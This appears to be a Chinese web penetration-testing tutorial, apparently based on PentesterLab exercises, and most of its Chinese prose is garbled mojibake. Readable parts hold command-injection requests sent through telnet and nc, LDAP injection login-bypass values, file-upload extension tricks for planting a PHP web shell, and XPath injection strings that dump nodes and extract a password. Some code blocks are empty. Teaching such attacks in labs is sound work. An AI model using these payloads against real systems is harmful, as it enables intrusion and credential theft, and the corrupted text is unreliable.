1 % telnet vulnerable 80 2 GET /command exec /example3.php?ip=127.0.0.1|uname+-a HTTP/1.0 3 »òÕßÓÃnc 4 % echo "GET /command exec/example3.php?ip =127.0.0.1|uname+-a 5 HTTP/1.0\r\n" | nc vulnerable 80 |
Èç¹ûÄã×Ðϸ¹Û²ì·µ»Ø½á¹û£¬Äã»á·¢ÏÖÄãµÃµ½ÁËÒ»¸ö302Ìø×ª£¬µ«ÊÇͬʱÄÜÔÚÏìÓ¦½á¹ûµÄbodyÖз¢ÏÖuname
¨CaµÄÖ´Ðнá¹û¡£
LDAP ¹¥»÷
ÔÚÕâ¸öÕ½ÚÖУ¬ÎÒÃÇÒªÌÖÂÛLDAP¹¥»÷¡£LDAPͨ³£±»ÓÃÀ´ºó¶ËÑéÖ¤£¬ÌرðÊÇÓÃÔÚµÇÈë½øÖÆ£¨SSO£©µÄ½â¾ö·½°¸ÖС£LDAPÓÐ×Ô¼ºµÄÓï·¨¹æÔò£¬ÔÚÏÂÃæµÄÀý×ÓÖÐÄÜ¿´µÃµ½ºÜ¶àϸ½Ú¡£
ʾÀý1
ÔÚµÚÒ»¸öÀý×ÓÖУ¬ÄãÁ¬½Óµ½LDAP·þÎñÆ÷£¬ÓÃÄãµÄÓû§ÃûºÍÃÜÂëµÇ¼¡£ÔÚÕâ¸ö°¸ÀýÖУ¬TDAP·þÎñÆ÷¾Ü¾øÁËÄãµÄµÇ¼£¬ÒòΪÄãÌṩµÄÈÏÖ¤ÐÅÏ¢ÊÇÎÞЧµÄ¡£
µ«ÊÇÓÐһЩLDAP·þÎñÆ÷ÔÊÐí¿ÕÖµ°ó¶¨£ºÈç¹û·¢Ë͵ÄÊÇ¿ÕÖµ£¬LDAP·þÎñÆ÷»á°ó¶¨Õâ¸öÁ¬½Ó£¬È»ºóPHP³ÌÐò»áÈÏΪÕâ¸öÈÏÖ¤ÐÅÏ¢ÊÇÕýÈ·µÄ¡£ÎªÁ˰ó¶¨Á½¸ö¿ØÖÆ£¬ÄãÐèÒªÔÚ·¢Ë͵ÄÇëÇóÍêÈ«ÒÆ³ýÈÏÖ¤±äÁ¿ÐÅÏ¢¡£Èç¹ûÄã·¢ËÍÕâÑùµÄÇëÇó£ºusername=&password=£¬ÕâÑùµÄÖµ²»»á×àЧ£¬ÒòΪËûÃDz¢²»ÊÇNULL£¬ÏàÓ¦µÄËûÃÇÆäʵËã×÷¿Õ±äÁ¿¡£¿Õ±äÁ¿µÇ½²âÊÔÔÚ½«À´ÄãËùÓеIJâÊÔ¶¼ÊǸöÏàµ±ÖØÒªµÄ²âÊÔ£¬¼´±ãºó¶Ë·þÎñÆ÷ÓõIJ»ÊÇLDAPÈÏÖ¤»úÖÆ¡£
ʾÀý2
×î³£¼ûµÄLDAP×¢ÈëģʽÊÇ×¢Èë¹ýÂËÆ÷¡£ÕâÀï»áÑÝʾÈç¹ûÓÃLDAP×¢ÈëÈÆ¹ýµÇ¼ÑéÖ¤¡£Ê×ÏÈ£¬ÄãÐèҪѧϰһµãLDAPÓï·¨¡£µ±ÄãÒª¼ìË÷Ò»¸öÓû§µÄʱºò£¬Í¨¹ýÕâ¸öÓû§Ãû£¬¿ÉÒÔÓÃÈçϵÄÓï¾ä£º
Èç¹ûÄãÒªÔö¼Ó¸ü¶àµÄÌõ¼þ»òÕß²¼¶ûÂß¼£¬Äã¿ÉÒÔʹÓãº
²¼¶û»ò£º|: (|(cn=[ÊäÈë1])(cn=[ÊäÈë2]))Äܵõ½Æ¥ÅäÊäÈë1ºÍÊäÈë2µÄ¼Ç¼¡£
²¼¶ûÓ&: (&(cn=[ÊäÈë1])(userPassword=[ÊäÈë2]))Äܵõ½cnÆ¥ÅäÊäÈë1ºÍpasswordÆ¥ÅäÊäÈë2µÄ¼Ç¼¡£
¾ÍÈçÄã¿´µ½µÄÄÇÑù£¬²¼¶ûÂß¼ÌåÏÖÔÚÓï¾ä¿ªÊ¼µÄ¹ýÂË·û¡£ÓÉÓÚÄãÊÇÔÚ²¼¶û×Ö·ûºóÃæ¿ªÊ¼×¢ÈëµÄ£¬ËùÒÔͨ³£²»¿ÉÄܶԲ¼¶û·ûºÅ·¢Æð×¢Èë¹¥»÷¡£
LDAP¾³£ÓÃ*ͨÅä·ûÀ´Æ¥ÅäÈÎÒâÖµ¡£Õâ¿ÉÒÔ±»ÓÃÀ´Æ¥ÅäÈκÎÖµ±ÈÈç*£¬»òÕß×Ó´®±ÈÈçadm*Æ¥ÅäËùÓÐÒÔadm¿ªÍ·µÄÖµ¡£
ÕýÈçÆäËû×¢Èë¹¥»÷Ò»Ñù£¬ÎÒÃÇÒªÒÆ³ýÈκηþÎñ¶ËÌí¼ÓµÄ´úÂë¡£ÎÒÃÇÓÿÕÖµ¿ÉÒÔÈÆ¹ýĩβµÄ¹ýÂËÆ÷¡£
ÕâÀï¾Ù¸öµÇ¼½Å±¾µÄÀý×Ó¡£ÎÒÃÇÓõģº
username=hacker&password=hacker
µÇ¼³É¹¦£¨ÕâÊÇÕý³£µÄµÇ¼ÇëÇó£©
username=hack*&password=hacker µÇ¼³É¹¦£¨*ͨÅä·ûÆ¥ÅäÁËһЩÏàͬµÄÖµ£©
username=hacker&password=hac* µÇ¼ʧ°Ü£¨ÃÜÂëÖ»ºÜ¿ÉÄܱ»¹þÏ£ÁË£©
½á¹ûºÜÃ÷ÏÔ£¬ÎÒÃÇ¿ÉÒÔÀûÓÃLDAP×¢Èë¹¥»÷£¬ÔÚusername²ÎÊý¶¯ÊÖ½ÅʵʩµÇÂ¼ÈÆ¹ý¡£¸ù¾Ý֮ǰµÄ²âÊÔ½á¹û£¬¿ÉÒÔÍÆ¶Ï³ö¹ýÂËÆ÷µÄ¿ÉÄܹ¹Ô죺
(&(cn=[INPUT1])(userPassword=HASH[INPUT2]))
ÕâÀï¹þÏ£²»ÊǼÓÑεĹþÏ££¨¿ÉÄÜÊÇMD5»òÕßSHA1£©.LDAPÖ§³ÖÓÃÈçϸñʽ:`{CLEARTEXT}`£¬`{MD5}`£¬`{SMD5}`(¼ÓÑÎMD5)£¬`{SHA1}`£¬`{SSHA}`(¼ÓÑÎSHA1)£¬{CRYPT}À´Äܱ£´æÃÜÂë¡£
ÓÉÓÚÊäÈëÖµ2ÊDZ»¹þÏ£¹ýµÄ£¬ËùÒÔÎÒÃDz»ÄÜÔÚÕâÀï½øÐÐ×¢Èë¡£
ÎÒÃÇÕâÀïµÄÄ¿±ê¾ÍÊÇÏò[input1]×¢È루Óû§Ãû²ÎÊý£©¡£ÎÒÃÇÐèҪעÒ⣺
µ±Ç°µÄ¹ýÂËĩβʹÓÃhacker)
ºãµÈʽ£¨È磨cn=*£©£©
ʹÓÃÓÐЧÓï·¨
ʹÓÿÕ×Ö·û£¨%00£©À´±ÜÃâβ²¿µÄ¹ýÂË
Ò»µ©ÄãÂú×ãÕ⼸¸öÌõ¼þ£¬ÄãÓ¦¸Ã¾Í¿ÉÒÔʹÓÃhackerÕÊ»§µÇ¼£¬ÈκÎÃÜÂë¾ù¿É¡£È»ºóÄã¾ÍÄÜʹÓÃͨÅä·ûÀ´ÕÒµ½ÆäËüµÄÓû§ÁË¡£¾Ù¸öÀý×Ó£¬Äã¿ÉÒÔÔÚ¹ýÂËÆ÷µÚÒ»²¿·ÖʹÓÃa*£¬È»ºó¼ì²éÄã×Ô¼ºÊÇ×÷ΪʲôÉí·ÝµÇ½µÄ¡£
ÔÚ´ó¶àÊý°¸ÀýÖУ¬LDAP×¢Éä½ö½öÄܰïÖúÄãÈÆ¹ýÑéÖ¤ºÍ¼ÓȨÈÏÖ¤¡£ÏëÒª¼ìË÷ÈÎÒâÊý¾ÝºÜ¶àʱºò¶¼ºÜÀ§ÄÑ»òÕ߸ù±¾²»¿ÉÄÜ¡£
ÉÏ´«
ÔÚÕⲿ·Ö£¬»áÉæ¼°µ½ÈçºÎʹÓÃÎļþÉÏ´«º¯ÊýÀ´ÈôúÂëÖ´ÐС£
ÔÚÍøÒ³³ÌÐòÖУ¨ÓÈÆäÊÇÄÇЩʹÓÃÎļþϵͳÀ´¾ö¶¨´úÂëÔËÐеijÌÐò£©£¬Äã¿ÉÈôúÂëÔÚ·þÎñ¶ËÖ´ÐУ¬Èç¹ûÄã´òËãÓúϷ¨ÎļþÃûÉÏ´«Îļþ£¨Í¨³£ÊÇÈ¡¾öÓÚÀ©Õ¹£©£¬ÔÚÕâÀÎÒÃǾͿÉÒÔ¿´µ½»ùÓÚÕâÖÖÀàÐ͵Ĺ¥»÷¡£
Ê×ÏÈ£¬ÎÒÃǹ¥»÷Ò»¸öPHPµÄÓ¦Óã¬ÎÒÃÇÐèÒªÒ»¸öPHPµÄWeb shell£¬Ò»¸öWeb
shell¾ÍÊÇÒ»¶Î¼òµ¥µÄ½Å±¾»òÕßÖ´ÐдúÂëµÄÍøÒ³Ó¦Ó㬱ÈÈ磬ÔÚPHPÖУ¬ÏÂÃæµÄ´úÂë¾ÍÊÇÒ»¸ö¼òµ¥µÄWeb shell£º

Ô½¸´ÔÓµÄweb shell¿ÉÒÔÖ´ÐÐÔ½¸ß¼¶µÄ²Ù×÷£¬±ÈÈçÊý¾Ý¿âºÍÎļþϵͳµÄ·ÃÎÊ£¬ÉõÖÁÊÇTCPËíµÀ¡£
ʾÀý 1
µÚÒ»¸öÀý×ÓÊÇÒ»¸ö·Ç³£»ù´¡µÄ±íµ¥£¬Ã»ÓÐÏÞÖÆ¡£Í¨¹ýʹÓÃÃûΪa.phpµÄweb shell£¬½«ÆäÉÏ´«µ½·þÎñÆ÷¡£Ò»µ©³É¹¦ÉÏ´«£¬Äã¾Í¿ÉÒÔͨ¹ý·ÃÎÊÕâ¸ö½Å±¾£¨Í¨¹ý²ÎÊýcmd=uname
£©À´Ê¹µÃÃüÁîÖ´ÐС£
ʾÀý 2
ÔÚµÚ¶þ¸öÀý×ÓÖУ¬¿ª·¢ÈËÔ±¶ÔÎļþÃû×öÁËÏÞÖÆ¡£ÎļþÃû²»ÄÜÒÔ.php½áβ¡£ÒªÈƹýÕâÀàÏÞÖÆ£¬Äã¿ÉÒÔʹÓÃÏÂÃæµÄÆäÖÐÒ»ÖÖ·½·¨£º
½«À©Õ¹Ãû¸ÄΪ.php3. ÔÚÆäËüһЩϵͳÖУ¬ÏñÕâÀà.php4»òÕß.php5µÄ¿ÉÄÜÒ²ÄÜ·ÃÎÊ£¬ÕâÈ¡¾öÓÚweb·þÎñÆ÷ÈçºÎ½âÎö¡£
ʹÓÃApache²»ÈÏʶµÄÀ©Õ¹Ãû£¬ÔÚ.phpºó¸úÉÏ.blah¡£Ò»µ©ApacheÎÞ·¨½âÎöÕâÀàÀ©Õ¹Ãû£¬Ëû¾Í½«»áÒÆ¶¯µ½ÏÂÒ»¸ö£º.phpÔòËæ¼´±»½âÎö£¬È»ºóÔËÐÐÆäPHP´úÂë¡£
ÉÏ´«Ò»¸ö.htaccessÎļþ£¬À´±£Ö¤ÏÂÒ»¸öphpµÄÀ©Õ¹Äܹ»±»Ö´ÐС£
£¨Äã¿ÉÒÔÔÚPentesterLabµÄѵÁ·ÖÐÁ˽â¸ü¶à´ËÀàÏà¹ØµÄ¼¼Êõ£¬´ÓSQL×¢Èëµ½ÌáȨ£ºPostgreSQL°æ£©[https://pentesterlab.com/from_sqli_to_shell_pg_edition.html]
ʹÓÃÉÏÃæµÄÆäÖÐÒ»ÖÖ·½·¨£¬Äã¾ÍÓ¦¸Ã¿ÉÒԳɹ¦Ö´ÐÐÃüÁîÁË
XMLÏà¹Ø¹¥»÷
ÔÚÕⲿ·Ö£¬»áÉæ¼°µ½XMLÏà¹ØµÄ¹¥»÷¡£ÕâЩÀàÐ͵Ĺ¥»÷ͨ³£¶¼ÊÇͨ¹ýʹÓÃXPATHÀ´»Ö¸´XMLÎļþµÄ½âÎöÉèÖÃÀ´½øÐеġ££¨¾Ù¸öÀý×Ó£º¸ù¾Ý×éÖ¯µÄÃû³ÆÀ´Á˽âºǫ́ÊÇÈçºÎ¶ÔÓû§½øÐеÄÉí·ÝÑéÖ¤£©
ʾÀý1
һЩXML½âÎöÆ÷ΪÁ˽â¾öÍⲿʵÌ壬½«»áÔÊÐíÓû§Ê¹ÓÃXMLÐÅÏ¢À´·ÃÎÊ×ÊÔ´£»±ÈÈç¶ÁȡϵͳÎļþ¡£ÏÂÃæµÄʵÌå¾Í¿ÉÒÔ±»Ê¹Óã¬È磺

ÄãÐèÒª½«ÆäÕýÈ··â×°£¬À´±£Ö¤Æä¿ÉÒÔÕý³£ÔËÐУº

È»ºóÄã¾Í¿ÉÒÔÔÚ·þÎñÆ÷¶Ë½âÎöµÄʱºò¼òµ¥µÄʹÓùØÁªx£º&x£¨²»ÒªÍü¼Ç¶Ô&½øÐбàÂ룩À´»ñÈ¡²åÈëXMLÎĵµÖеÄÏìÓ¦½á¹ûÁË¡£
ÔÚÕâ¸öÀý×ÓÖУ¬ÀûÓòúÉúÔÚGETÇëÇ󣬵«Õâ¸üÏñÄÇЩÔÚ´«Í³µÄwebÓ¦ÓÃÖÐʹÓÃPOSTÇëÇóµÄµÄÀàÐÍ¡£ÕâÀàÎÊÌâÔÚweb·þÎñÖкܳ£¼û£¬²¢ÇÒÕâ»òÐíÊǵÚÒ»¸öÄãÏëÊÔÊԵIJâÊÔ£¬µ±ÄãÔÚ¹¥»÷Ó¦ÓÃÀ´½ØÈ¡XMLÐÅÏ¢µÄʱºò¡£
Õâ¸öÀý×ÓÒ²¿ÉÒÔÓÃÀ´Ê¹Ó¦ÓóÌÐòÖ´ÐÐHTTPÇëÇó£¨Í¨¹ýʹÓÃhttp://´úÌæfile://£©£¬»¹Äܵ±×÷¶Ë¿ÚɨÃèÆ÷¡£µ«ÊÇ£¬ÄÚÈݵļìË÷ͨ³£²»ÄÇôÍêÕû£¬XML½âÎöÆ÷»á½«Æä½âÎö³ÉÎĵµµÄÒ»²¿·Ö¡£
Ìáʾ£ºÄãÒ²¿ÉÒÔʹÓá® ftp£º//ºÍhttps£º// ¡¯
ʾÀý2
ÔÚÕâ¸öÀý×ÓÖУ¬´úÂëÀûÓÃÁËÓû§ÊäÈ룬²åÈëÁËÒ»¸öXPath±í´ïʽ¡£²åÈëµÄXPathÊÇÒ»¸ö²éѯÓï¾ä£¬²éѯXMLÎĵµÖеĽڵ㡣°ÑXMLÎĵµÏëÏó³ÉÒ»¸öÊý¾Ý¿â£¬XPathÔòÊÇÒ»¸ö²éѯÓï¾ä£¬Èç¹ûÄãÄܲÙ×ÝÕâ¸ö²éѯ£¬Äã¾ÍÄÜÕÒµ½ÄÇЩÄã±¾À´ÎÞ·¨ÕÒµ½µÄÔªËØ¡£
Èç¹ûÎÒÃÇÖ»×¢ÈëÒ»ÌõÒýÓã¬ÎÒÃÇÔò»á¿´µ½ÒÔÏ´íÎó£º

ºÍSQL×¢ÈëÏàËÆ£¬XPathÔÊÐíÄãʹÓÃÂß¼Åжϣ¬Äã¿ÉÒÔ³¢ÊÔ£º
¡®and¡¯1¡¯=¡¯1 ÄãÓ¦¸Ã»áµÃµ½ÏàͬµÄ½á¹û
¡®or¡¯1¡¯=¡¯0 ÄãÓ¦¸Ã»áµÃµ½ÏàͬµÄ½á¹û
¡®and¡¯1¡¯=¡¯0 ÄãÓ¦¸ÃµÃ²»µ½Èκνá¹û
¡®or¡¯1¡¯=¡¯1 ÄãÓ¦¸Ã»áµÃµ½ËùÓеĽá¹û
»ùÓÚÕâЩ²âÊÔºÍ֮ǰ¶ÔÓÚXPathµÄÁ˽⣬ÎÒÃÇ´óÖ¿ÉÒԵõ½¸ÃXPathÓï¾äµÄ¹¹Ô죺

ÒªÏë×¢Ê͵ôÓàϵÄXPathÓï¾ä£¬Äã¿ÉÒÔʹÓÿÕ×Ö·û£¨ÄãÐèÒª½«Æä±àÂë³É%00£©¡£ÕýÈçÎÒÃÇÔÚXPath±í´ïʽÖÐËù¿´µ½£¬ÎÒÃÇ»¹ÐèÒªÒ»¸ö]À´Íê³ÉÓï·¨¡£ÏÖÔÚÎÒÃǵÄÓï¾ä¾ÍÊÇ
hack¡¯]00%£¨or hacker¡¯ or 1=1]%00£¬Èç¹ûÎÒÃÇÒªµÃµ½ËùÓнá¹ûµÄ»°£©¡£
Èç¹ûÎÒÃÇÏë²éÕÒµ±Ç°½ÚµãµÄ×ӽڵ㣬ʹÓÃÓï¾ä
'%20or%201=1]/child::node()%00 |
ÎÒÃǾͿÉÒÔ²»ÓûñµÃ¹ý¶àµÄÐÅÏ¢¡£
ÕâÀïµÄÎÊÌâÔÚÓÚÎÒÃÇÈçºÎÔٴλص½½Úµã²ãÀ´»ñÈ¡¸ü¶àÐÅÏ¢¡£ÔÚXPathÀÕâ¿ÉÒÔͨ¹ýʹÓÃ
parent£º£º*×÷ΪÓï¾äµÄ²¿·ÖÀ´Íê³É¡£ÏÖÔÚÎÒÃǾͿÉÒÔ²éѯµ±Ç°½ÚµãµÄ¸¸½ÚµãÁË£¬Ê¹ÓÃ
hacker'%20or%201=1]/parent::*/child::node()%00 |
ÁгöËùÓнڵ㡣
ÆäÖÐÒ»¸ö½ÚµãµÄÖµ¿´ÆðÀ´¾ÍÏñÃÜÂë¡£ÎÒÃÇ¿ÉÒÔͨ¹ýʹÓÃÓï¾ä
hacker']/parent::*/password%00 |
À´¼ì²é¸Ã½ÚµãµÄÖµÊÇ·ñ¾ÍÊÇÃÜÂë¡£
WebÉøÍ¸²âÊÔ¹¥ÂÔ(ÉÏ)
WebÉøÍ¸²âÊÔ¹¥ÂÔ(ÖÐ)
|